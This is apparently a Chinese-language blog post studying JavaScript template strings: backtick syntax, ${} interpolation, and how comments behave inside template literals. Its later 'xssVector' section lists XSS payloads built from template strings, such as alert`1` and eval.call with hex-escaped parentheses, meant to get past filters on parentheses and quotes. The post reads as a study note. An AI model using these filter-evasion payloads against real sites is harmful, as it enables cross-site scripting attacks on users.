文章目录
  1. 1. 引子
  2. 2. Method
    1. 2.1. 注意注释
    2. 2.2. 表达式
    3. 2.3. 特殊的//num
  3. 3. xssVector
    1. 3.1. 1st
    2. 3.2. 2nd
    3. 3.3. 3rd
  4. 4. 最后一个
  5. 5. Reference

引子

没事看了个xss, 借此学习一下这个template_strings

Method

1
2
3
4
`strings` //  单行 和' " 用法一样
`string1
string2` // 多行

`string ${expression} string` // 可以直接引用变量, 像angualr一样

注意注释

console.log(` test1        // there is no comments can stand!
     test2`);

这句话看似有个单行注释, 实际上`会忽略注释的存在, 所以注释无效

表达式

1
2
3
var a = 1;
console.log(`${a}`);
// 输出1

特殊的//num

1
2
console.log(`${1234}`);
// 可以直接输出1234

这个原因应该是 数字开头的不能作为js变量

xssVector

1st

最简单的

1
2
alert`1`
// 直接绕过() "" ''

2nd

第二个…感觉是失败了

1
alert.call(this, `${1}`)

Update:
${CMD}可以直接的命令执行~

1
2
3
<script>
`${alert(1)}`
</script>

3rd

这个很棒, 绕过了() “” ‘’, 能使eval拥有()可以执行并且支持多种编码, 吊吊吊

1
eval.call`${`alert\x281)`}`

最后一个

1
2
3
`${`alert(1)`}` === 'alert(1)' ? alert(true) : alert(false)

//true

Reference

MDN

文章目录
  1. 1. 引子
  2. 2. Method
    1. 2.1. 注意注释
    2. 2.2. 表达式
    3. 2.3. 特殊的//num
  3. 3. xssVector
    1. 3.1. 1st
    2. 3.2. 2nd
    3. 3.3. 3rd
  4. 4. 最后一个
  5. 5. Reference